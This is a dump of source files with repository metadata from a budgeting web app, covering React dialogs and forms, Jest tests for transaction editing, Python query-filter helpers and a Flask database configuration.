expect(invalidateQueries).toHaveBeenCalledWith(['transaction', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n}, 15000);\n\ntest('should allow consolidation of envelope splits', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'expense',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: -10000, cleared: false }],\n envelopeTransactions: [\n { id: 28, envelopeId: 3, memo: '', amount: -2500 },\n { id: 38, envelopeId: 1, memo: '', amount: -7500 },\n ],\n });\n\n await waitFor(() =>\n expect(screen.queryAllByRole('textbox', { name: /envelope/i })).toHaveLength(2),\n );\n\n fireEvent.change(screen.getAllByRole('textbox', { name: /amount/i })[2], {\n target: { value: '-$100.00' },\n });\n\n userEvent.click(screen.getAllByRole('button', { name: /delete envelope split/i })[0]);\n await waitFor(() =>\n expect(screen.queryAllByRole('textbox', { name: /envelope/i })).toHaveLength(1),\n );\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() => expect(mockApi.history.patch).toHaveLength(1));\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'expense',\n accountTransactions: {\n add: [],\n modify: [{ id: 18, accountId: 2, memo: '', amount: -10000, cleared: false }],\n delete: [],\n },\n envelopeTransactions: {\n add: [],\n modify: [{ id: 38, envelopeId: 1, memo: '', amount: -10000 }],\n delete: [28],\n },\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(7);\n expect(invalidateQueries).toHaveBeenCalledWith(['transaction', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '1']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n}, 15000);\n" }, { "alpha_fraction": 0.7109500765800476, "alphanum_fraction": 0.7109500765800476, "avg_line_length": 27.227272033691406, "blob_id": "22ba3e9b9b0c6b66e82d2ad89bc9119c33cd7b9c", "content_id": "2841e6725824ba1baa10712ad29be4b7710e812e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1242, "license_type": "permissive", "max_line_length": 100, "num_lines": 44, "path": "/webapp/src/features/budgets/components/ModifyBudgetDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchBudget from '../hooks/useFetchBudget';\nimport useModifyBudget from '../hooks/useModifyBudget';\nimport BudgetForm from './BudgetForm';\n\nconst ModifyBudgetDialog = ({ onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { id } = useParams();\n const { data, isLoading } = useFetchBudget({ id }, { onError: () => navigate(onExitNavigateTo) });\n const budget = {\n ...BudgetForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyBudget();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={BudgetForm}\n initialValues={budget}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Budget'\n validationSchema={BudgetForm.validationSchema}\n />\n );\n};\n\nModifyBudgetDialog.propTypes = {\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyBudgetDialog.defaultProps = {\n onExitNavigateTo: '..',\n};\n\nexport default ModifyBudgetDialog;\n" }, { "alpha_fraction": 0.6088114380836487, "alphanum_fraction": 0.6088114380836487, "avg_line_length": 31.527559280395508, "blob_id": "9d4e3d862c93fc30ef4e0352e12fc794c15c2a55", "content_id": "5bed6a6e11c2061ec7b633b13bf6aedd8f22303b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4131, "license_type": "permissive", "max_line_length": 96, "num_lines": 127, "path": "/webapp/src/features/budgets/components/BudgetsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport LinearProgress from '@material-ui/core/LinearProgress';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport EditIcon from '@material-ui/icons/Edit';\nimport FileCopyIcon from '@material-ui/icons/FileCopy';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { useLocation } from 'react-router-dom';\n\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport * as routes from 'common/utils/routes';\nimport useCopyBudget from '../hooks/useCopyBudget';\nimport useDeleteActiveBudget from '../hooks/useDeleteActiveBudget';\nimport { labels as periodLabels } from '../utils/periods';\n\nconst ListOfBudgets = ({ budgets, onCopy, onDelete, onSelect, onSetActive }) => {\n return (\n <List dense disablePadding>\n {budgets.map((budget) => (\n <ListItem button key={budget.id} onClick={() => onSelect(budget.budgetId || budget.id)}>\n <ListItemText\n primary={budget.year || budget.name}\n secondary={budget.year ? budget.name : periodLabels[budget.periods]}\n />\n <ListItemSecondaryAction>\n {budget.year && (\n <>\n <IconButton\n aria-label='change active budget'\n onClick={() => onSetActive(budget.id)}\n >\n <EditIcon />\n </IconButton>\n <IconButton\n aria-label='delete active budget'\n edge='end'\n onClick={() => onDelete(budget)}\n >\n <DeleteIcon />\n </IconButton>\n </>\n )}\n {!budget.year && (\n <IconButton aria-label='copy budget' onClick={() => onCopy(budget)}>\n <FileCopyIcon />\n </IconButton>\n )}\n </ListItemSecondaryAction>\n </ListItem>\n ))}\n </List>\n );\n};\n\nListOfBudgets.propTypes = {\n budgets: PropTypes.arrayOf(\n PropTypes.shape({\n id: PropTypes.number.isRequired,\n name: PropTypes.string.isRequired,\n budgetId: PropTypes.number,\n year: PropTypes.number,\n }),\n ).isRequired,\n onCopy: PropTypes.func.isRequired,\n onDelete: PropTypes.func.isRequired,\n onSelect: PropTypes.func.isRequired,\n onSetActive: PropTypes.func.isRequired,\n};\n\nconst BudgetsList = ({ useFetchBudgets }) => {\n const confirm = useConfirmation();\n const { search } = useLocation();\n const navigate = useNavigateKeepingSearch();\n const { budgets, error, status } = useFetchBudgets();\n\n const handleSelect = (id) =>\n navigate(\n {\n pathname: routes.budgetRoute(id),\n search: '',\n },\n {\n state: { budgetsPageSearch: search },\n },\n );\n const handleSetActive = (id) => navigate(`modify-active/${id}`);\n\n const { mutate: deleteActiveBudget } = useDeleteActiveBudget();\n const handleDelete = (budget) =>\n confirm({\n message: [`Delete active budget for ${budget.year}?`],\n }).then(() => deleteActiveBudget(budget.id));\n\n const { mutate: copyBudget } = useCopyBudget();\n const handleCopy = (budget) =>\n confirm({\n message: [`Create a copy of ${budget.name}?`],\n }).then(() => copyBudget({ origId: budget.id }));\n\n return (\n <>\n {status === 'success' && (\n <ListOfBudgets\n budgets={budgets}\n onCopy={handleCopy}\n onDelete={handleDelete}\n onSelect={handleSelect}\n onSetActive={handleSetActive}\n />\n )}\n {status === 'loading' && <LinearProgress />}\n {status === 'error' && <Alert severity='error'>{error}</Alert>}\n </>\n );\n};\n\nBudgetsList.propTypes = {\n useFetchBudgets: PropTypes.func.isRequired,\n};\n\nexport default BudgetsList;\n" }, { "alpha_fraction": 0.7113924026489258, "alphanum_fraction": 0.7113924026489258, "avg_line_length": 25.33333396911621, "blob_id": "507cd6326160fda2dfeb8ecfd3396b3f847f6e5c", "content_id": "65f7fa82587d2c45a5a9d6a4bca3d6bbd422de55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 395, "license_type": "permissive", "max_line_length": 70, "num_lines": 15, "path": "/webapp/src/common/components/AppBar/ChildPageAppBar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport routePropType from '../../utils/route-prop-type';\nimport AppBar from './AppBar';\nimport NavBackIconButton from './NavBackIconButton';\n\nconst ChildPageAppBar = ({ back, ...props }) => (\n <AppBar leftButton={<NavBackIconButton dest={back} />} {...props} />\n);\n\nChildPageAppBar.propTypes = {\n back: routePropType.isRequired,\n};\n\nexport default ChildPageAppBar;\n" }, { "alpha_fraction": 0.6026992797851562, "alphanum_fraction": 0.6026992797851562, "avg_line_length": 24.771739959716797, "blob_id": "13268909b554637c4250e11579606c99f2f3252f", "content_id": "eea6503b3ad4fc62f8d2e56a89946b94bfd7c397", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2371, "license_type": "permissive", "max_line_length": 84, "num_lines": 92, "path": "/backend/underbudget/models/filter_ops.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Model search filter operations \"\"\"\nfrom typing import Any, List, Optional\nfrom sqlalchemy import not_\nfrom sqlalchemy.orm import Query\nfrom sqlalchemy.sql.schema import Column\n\n\ndef filter_bool(\n query: Query,\n column: Column,\n value: bool = None,\n) -> Query:\n \"\"\" Update the query to filter based on boolean value of the column \"\"\"\n if value is None:\n return query\n return query.filter(column.is_(value))\n\n\n# pylint: disable=too-many-arguments\ndef filter_comp(\n query: Query,\n column: Column,\n negate: bool = False,\n oper: str = \"eq\",\n upper: Optional[Any] = None,\n value: Optional[Any] = None,\n) -> Query:\n \"\"\" Update the query to filter based on number-like comparisons for a column \"\"\"\n if value is None:\n return query\n\n if oper == \"eq\":\n expr = column == value\n elif oper == \"lt\":\n expr = column < value\n elif oper == \"lte\":\n expr = column <= value\n elif oper == \"gt\":\n expr = column > value\n elif oper == \"gte\":\n expr = column >= value\n elif oper == \"between\" and upper is not None:\n expr = column.between(value, upper)\n else:\n return query # unknown operator\n\n if negate:\n expr = not_(expr)\n return query.filter(expr)\n\n\ndef filter_in(\n query: Query,\n column: Column,\n is_null: bool = False,\n negate: bool = False,\n values: Optional[List[Any]] = None,\n) -> Query:\n \"\"\" Update the query to filter based on a set of values for a column \"\"\"\n if is_null:\n # pylint: disable=singleton-comparison\n return query.filter(column == None)\n if not values:\n return query\n if negate:\n return query.filter(column.notin_(tuple(values)))\n return query.filter(column.in_(tuple(values)))\n\n\ndef filter_str(\n query: Query,\n column: Column,\n negate: bool = False,\n oper: str = \"eq\",\n value: Optional[str] = None,\n) -> Query:\n \"\"\" Update the query to filter based on string comparisons for a column \"\"\"\n if value is None:\n return query\n\n if oper == \"eq\":\n expr = column == value\n elif oper == \"starts\":\n expr = column.startswith(value)\n elif oper == \"ends\":\n expr = column.endswith(value)\n elif oper == \"contains\":\n expr = column.contains(value)\n\n if negate:\n expr = not_(expr)\n return query.filter(expr)\n" }, { "alpha_fraction": 0.696794867515564, "alphanum_fraction": 0.6987179517745972, "avg_line_length": 31.5, "blob_id": "7571d2737361437281adffc6930e0a19caf9a3f9", "content_id": "11ac6d800e52992f18485076b007beac3dbec48f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1560, "license_type": "permissive", "max_line_length": 98, "num_lines": 48, "path": "/webapp/src/features/reconciliations/routes/CreateReconciliationPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { makeStyles } from '@material-ui/core/styles';\nimport React from 'react';\nimport { useLocation, useParams } from 'react-router-dom';\n\nimport AppPage from 'common/components/AppPage';\nimport * as routes from 'common/utils/routes';\nimport { CreateTransactionDialog } from 'features/transactions';\nimport CreateReconciliationAppBar from '../components/CreateReconciliationAppBar';\nimport CreateReconciliationForm from '../components/CreateReconciliationForm';\n\nconst useStyles = makeStyles((theme) => ({\n content: {\n padding: theme.spacing(3),\n },\n}));\n\nconst CreateReconciliationPage = () => {\n const classes = useStyles();\n const location = useLocation();\n\n const { id } = useParams();\n const { from: parentRoute } = location.state || { from: { pathname: routes.accountRoute(id) } };\n const accountId = parseInt(id, 10);\n\n const [createTrnIsOpen, setCreateTrnIsOpen] = React.useState(false);\n const handleOpenCreateTrn = () => setCreateTrnIsOpen(true);\n const handleCloseCreateTrn = () => setCreateTrnIsOpen(false);\n\n return (\n <AppPage\n appBar={\n <CreateReconciliationAppBar\n onCreateTransaction={handleOpenCreateTrn}\n parentRoute={parentRoute}\n />\n }\n >\n <div className={classes.content}>\n <CreateReconciliationForm accountId={accountId} parentRoute={parentRoute} />\n </div>\n {createTrnIsOpen && (\n <CreateTransactionDialog initialAccountId={accountId} onExit={handleCloseCreateTrn} />\n )}\n </AppPage>\n );\n};\n\nexport default CreateReconciliationPage;\n" }, { "alpha_fraction": 0.550000011920929, "alphanum_fraction": 0.7090908885002136, "avg_line_length": 14.714285850524902, "blob_id": "b36cf9f92b511f35a8ccda7897e447edcd66b289", "content_id": "4fd7d4bc46fac1452f8359dbd7106bb9e9357167", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 220, "license_type": "permissive", "max_line_length": 30, "num_lines": 14, "path": "/backend/dev-requirements.txt", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "-r requirements.txt\n\nblack~=20.8b1\nmypy>=0.790\npylint~=2.6.0\npylint-flask>=0.6\npylint-flask-sqlalchemy>=0.2.0\n\njsonpath-ng>=1.5.2\nparameterized>=0.7.4\npytest>=6.2.1\npytest-cov>=2.10.1\npytest-flask>=1.1.0\ncoverage>=5.3.1\n" }, { "alpha_fraction": 0.6301507353782654, "alphanum_fraction": 0.6321607828140259, "avg_line_length": 20.630434036254883, "blob_id": "41b4c290866141271b63f9874606debed3037aaf", "content_id": "891f05c27ebccd3d200cc2b102899003caa12f20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 995, "license_type": "permissive", "max_line_length": 81, "num_lines": 46, "path": "/webapp/src/features/budgets/components/PeriodicIncomeForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\n\nconst PeriodicIncomeForm = () => (\n <>\n <Field\n autoComplete='off'\n autoFocus\n component={TextField}\n fullWidth\n id='income-name'\n label='Name'\n margin='normal'\n name='name'\n placeholder='Income name'\n required\n variant='outlined'\n />\n <Field\n component={MoneyInputField}\n fullWidth\n id='income-amount'\n label='Amount'\n margin='normal'\n name='amount'\n required\n variant='outlined'\n />\n </>\n);\n\nPeriodicIncomeForm.initialValues = {\n name: '',\n amount: 0,\n};\n\nPeriodicIncomeForm.validationSchema = yup.object().shape({\n name: yup.string().required('Required'),\n amount: yup.number().typeError('Required').min(1, 'Must be a positive amount'),\n});\n\nexport default PeriodicIncomeForm;\n" }, { "alpha_fraction": 0.6315120458602905, "alphanum_fraction": 0.6340533494949341, "avg_line_length": 22.84848403930664, "blob_id": "f037e28793dff17c998102e6e530d49ec444d4b0", "content_id": "77841d5da4daa8f6c2c47cda2459e5fc2ba61453", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 787, "license_type": "permissive", "max_line_length": 77, "num_lines": 33, "path": "/webapp/src/common/components/PureFab/PureFab.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "/* eslint-disable react/jsx-props-no-spreading */\n\nimport MuiFab from '@material-ui/core/Fab';\nimport { makeStyles } from '@material-ui/core/styles';\nimport Zoom from '@material-ui/core/Zoom';\nimport React from 'react';\n\nimport actionPropsShape from '../../utils/action-props';\n\nconst useStyles = makeStyles((theme) => ({\n fab: {\n bottom: theme.spacing(2),\n position: 'absolute',\n right: theme.spacing(2),\n },\n}));\n\nconst PureFab = ({ action: { fabIcon, icon, ...action }, ...props }) => {\n const classes = useStyles();\n return (\n <Zoom in>\n <MuiFab className={classes.fab} color='primary' {...action} {...props}>\n {fabIcon || icon}\n </MuiFab>\n </Zoom>\n );\n};\n\nPureFab.propTypes = {\n action: actionPropsShape.isRequired,\n};\n\nexport default PureFab;\n" }, { "alpha_fraction": 0.6371380090713501, "alphanum_fraction": 0.6371380090713501, "avg_line_length": 18.566667556762695, "blob_id": "2e386fb3900fff1d3cba9fc328553859091fd482", "content_id": "fd64d353db91d62e8bd11d163919d82c7c0edf67", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 587, "license_type": "permissive", "max_line_length": 51, "num_lines": 30, "path": "/webapp/src/common/components/FieldWithSideEffect/FieldWithSideEffect.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport PropTypes from 'prop-types';\n\nconst FieldWithSideEffect = ({\n field: { onChange, ...field },\n FieldComponent,\n sideEffect,\n ...props\n}) => (\n <FieldComponent\n {...props}\n field={{\n ...field,\n onChange: (e) => {\n onChange(e);\n sideEffect(e);\n },\n }}\n />\n);\n\nFieldWithSideEffect.propTypes = {\n field: PropTypes.shape({\n onChange: PropTypes.func.isRequired,\n }).isRequired,\n FieldComponent: PropTypes.elementType.isRequired,\n sideEffect: PropTypes.func.isRequired,\n};\n\nexport default FieldWithSideEffect;\n" }, { "alpha_fraction": 0.6610925197601318, "alphanum_fraction": 0.667224109172821, "avg_line_length": 30.473684310913086, "blob_id": "5b3dd3d9f69491918c76716abf09046cafece0dc", "content_id": "899785b4794fa29f58cfa93d6839f856ff82024a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1794, "license_type": "permissive", "max_line_length": 99, "num_lines": 57, "path": "/webapp/src/features/reconciliations/components/__tests__/AccountReconciliationsAppBar.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport AccountReconciliationsAppBar from '../AccountReconciliationsAppBar';\n\nconst render = (configureApi = () => 0) => {\n const mockApi = setupMockApi({ delayResponse: 0 });\n configureApi(mockApi);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n staleTime: Infinity,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <AccountReconciliationsAppBar accountId={3} prominent={false} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should display account name in title', async () => {\n render((api) => {\n api.onGet('/api/accounts/3').reply(200, { name: 'Account 3' });\n });\n\n expect(screen.getByRole('heading', { name: '...' })).toBeInTheDocument();\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: 'Account 3 Reconciliations' })).toBeInTheDocument(),\n );\n});\n\ntest('should navigate back to account route', async () => {\n const { history } = render();\n\n userEvent.click(screen.getByRole('button', { name: /go to previous page/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/account/3'));\n});\n\ntest('should navigate to create-reconciliation route', async () => {\n const { history } = render();\n\n userEvent.click(screen.getByRole('button', { name: /reconcile account/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/account/3/create-reconciliation'));\n});\n" }, { "alpha_fraction": 0.5706595182418823, "alphanum_fraction": 0.5921937823295593, "avg_line_length": 20.22857093811035, "blob_id": "8dc25d9750471ef375e39a7cd037977756ab9d6a", "content_id": "4eb86a866d43b8b64debc598e32e4accfdf48a9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 743, "license_type": "permissive", "max_line_length": 77, "num_lines": 35, "path": "/webapp/src/features/ledgers/components/__stories__/DemoLedgerForm.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Formik } from 'formik';\nimport React from 'react';\n\nimport DemoLedgerForm from '../DemoLedgerForm';\n\nexport default {\n title: 'ledgers/DemoLedgerForm',\n component: DemoLedgerForm,\n};\n\nexport const NewDemo = () => (\n <Formik initialValues={{ name: '', currency: 840, months: 3, seed: 1234 }}>\n <DemoLedgerForm />\n </Formik>\n);\n\nexport const WithErrors = () => (\n <Formik\n initialErrors={{\n name: 'Bad name',\n currency: 'Bad currency',\n months: 'Bad months',\n seed: 'Bad seed',\n }}\n initialTouched={{\n name: true,\n currency: true,\n months: true,\n seed: true,\n }}\n initialValues={{ name: '', currency: 840, months: 3, seed: 1234 }}\n >\n <DemoLedgerForm />\n </Formik>\n);\n" }, { "alpha_fraction": 0.5583140850067139, "alphanum_fraction": 0.562355637550354, "avg_line_length": 29.38596534729004, "blob_id": "8921ce65411e04cbc4613493dc7ca289da3a549f", "content_id": "cb88a522b75f13a6f2bb37ca096dc1e1856e470d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1732, "license_type": "permissive", "max_line_length": 100, "num_lines": 57, "path": "/webapp/src/features/budgets/components/ExpenseDetails.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Grid from '@material-ui/core/Grid';\nimport { FastField } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport getPeriodName from '../utils/getPeriodName';\nimport useDetailSumAmount from '../hooks/useDetailSumAmount';\n\nconst ExpenseDetails = ({ periods }) => {\n useDetailSumAmount();\n\n const labels = React.useMemo(() => [...Array(periods)].map((_, i) => getPeriodName(i, periods)), [\n periods,\n ]);\n\n return (\n <Grid container spacing={1}>\n {[...Array(periods)].map((_, index) => (\n // This is OK here because it's a fixed-size array where order matters\n // eslint-disable-next-line react/no-array-index-key\n <React.Fragment key={index}>\n <Grid item sm={6} xs={12}>\n <FastField\n autoComplete='off'\n component={TextField}\n fullWidth\n id={`expense-detail-name-${index}`}\n label={labels[index]}\n margin='normal'\n name={`details[${index}].name`}\n variant='outlined'\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <FastField\n component={MoneyInputField}\n fullWidth\n id={`expense-detail-amount-${index}`}\n label='Amount'\n margin='normal'\n name={`details[${index}].amount`}\n variant='outlined'\n />\n </Grid>\n </React.Fragment>\n ))}\n </Grid>\n );\n};\n\nExpenseDetails.propTypes = {\n periods: PropTypes.number.isRequired,\n};\n\nexport default React.memo(ExpenseDetails);\n" }, { "alpha_fraction": 0.6983758807182312, "alphanum_fraction": 0.6983758807182312, "avg_line_length": 26.510639190673828, "blob_id": "b029308920317e8adfe4a3e5fd6099f32c85044b", "content_id": "02ac51d8f39f7e0eeaaa71cdc0935044943f4d13", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1293, "license_type": "permissive", "max_line_length": 86, "num_lines": 47, "path": "/webapp/src/features/accounts/components/ModifyAccountDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from '../../../common/components/FormDialog';\nimport useNavigateKeepingSearch from '../../../common/hooks/useNavigateKeepingSearch';\nimport useFetchAccount from '../hooks/useFetchAccount';\nimport useModifyAccount from '../hooks/useModifyAccount';\nimport AccountForm from './AccountForm';\n\nconst ModifyAccountDialog = ({ onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { id } = useParams();\n const { data, isLoading } = useFetchAccount(\n { id },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const category = {\n ...AccountForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyAccount();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={AccountForm}\n initialValues={category}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Account'\n validationSchema={AccountForm.validationSchema}\n />\n );\n};\n\nModifyAccountDialog.propTypes = {\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyAccountDialog.defaultProps = {\n onExitNavigateTo: '..',\n};\n\nexport default ModifyAccountDialog;\n" }, { "alpha_fraction": 0.3821428716182709, "alphanum_fraction": 0.5214285850524902, "avg_line_length": 22.33333396911621, "blob_id": "689f699fd37a86d161ab7af27848d7253fa08cad", "content_id": "24956b573286ddfccbb8f935af921823f56fdf59", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 280, "license_type": "permissive", "max_line_length": 54, "num_lines": 12, "path": "/webapp/src/features/budgets/utils/periods.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export const values = [1, 2, 3, 4, 6, 12, 24, 26, 52];\nexport const labels = {\n 1: 'Annual (1)',\n 2: 'Biannual (2)',\n 3: 'Triannual (3)',\n 4: 'Quarterly (4)',\n 6: 'Bimonthly (6)',\n 12: 'Monthly (12)',\n 24: 'Semimonthly (24)',\n 26: 'Biweekly (26)',\n 52: 'Weekly (52)',\n};\n" }, { "alpha_fraction": 0.670634925365448, "alphanum_fraction": 0.6759259104728699, "avg_line_length": 22.625, "blob_id": "5dee3af4bb077ae197fdcf64c8b814ade07b63e5", "content_id": "881bed5876fa8240d516c5a66e1c1f645cc87973", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 756, "license_type": "permissive", "max_line_length": 78, "num_lines": 32, "path": "/backend/underbudget/config.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Flask application configuration \"\"\"\nimport os\n\n\nuser = os.environ.get(\"POSTGRES_USER\", \"postgres\")\npassword = os.environ.get(\"POSTGRES_PASSWORD\", \"postgres\")\nhost = os.environ.get(\"POSTGRES_HOST\", \"db\")\nport = os.environ.get(\"POSTGRES_PORT\", \"5432\")\nname = os.environ.get(\"POSTGRES_DB\", \"postgres\")\n\n# pylint: disable=too-few-public-methods\n\n\nclass BaseConfig:\n \"\"\" Base/production configuration \"\"\"\n\n SQLALCHEMY_DATABASE_URI = os.environ.get(\n \"DATABASE_URI\", f\"postgresql://{user}:{password}@{host}:{port}/{name}\"\n )\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\n\nclass DevConfig(BaseConfig):\n \"\"\" Development configuration \"\"\"\n\n DEBUG = True\n\n\nclass TestConfig(DevConfig):\n \"\"\" Testing configuration \"\"\"\n\n TESTING = True\n" }, { "alpha_fraction": 0.7789473533630371, "alphanum_fraction": 0.7789473533630371, "avg_line_length": 22.75, "blob_id": "7cda1570d211f4ac62c6d709bc841ce839b0970d", "content_id": "9d5ca7e40b84371f983e277da0a7b66688b8939b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 190, "license_type": "permissive", "max_line_length": 42, "num_lines": 8, "path": "/webapp/src/features/accounts/utils/account-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nconst accountPropTypes = PropTypes.shape({\n id: PropTypes.number.isRequired,\n name: PropTypes.string.isRequired,\n});\n\nexport default accountPropTypes;\n" }, { "alpha_fraction": 0.7033748030662537, "alphanum_fraction": 0.7033748030662537, "avg_line_length": 25.809524536132812, "blob_id": "93aae5ea20d443ab317a9eb8abde4531b192c0e1", "content_id": "626e5151ba15114676ab048780767ce73754bc24", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 563, "license_type": "permissive", "max_line_length": 63, "num_lines": 21, "path": "/webapp/src/features/accounts/components/CreateAccountDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from '../../../common/components/FormDialog';\nimport useCreateAccount from '../hooks/useCreateAccount';\nimport AccountForm from './AccountForm';\n\nconst CreateAccountDialog = () => {\n const { mutate } = useCreateAccount();\n return (\n <FormDialog\n actionText='Create'\n FormComponent={AccountForm}\n initialValues={AccountForm.initialValues}\n onSubmit={mutate}\n title='Create Account'\n validationSchema={AccountForm.validationSchema}\n />\n );\n};\n\nexport default CreateAccountDialog;\n" }, { "alpha_fraction": 0.6330140233039856, "alphanum_fraction": 0.635961651802063, "avg_line_length": 22, "blob_id": "7ae80a804a4ec41050ed538f51e8e257a3de7f8f", "content_id": "7779d2bf1014b9ed52949c81d7ce92ba6442272b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1357, "license_type": "permissive", "max_line_length": 81, "num_lines": 59, "path": "/webapp/src/features/budgets/components/PeriodicExpenseForm.js", 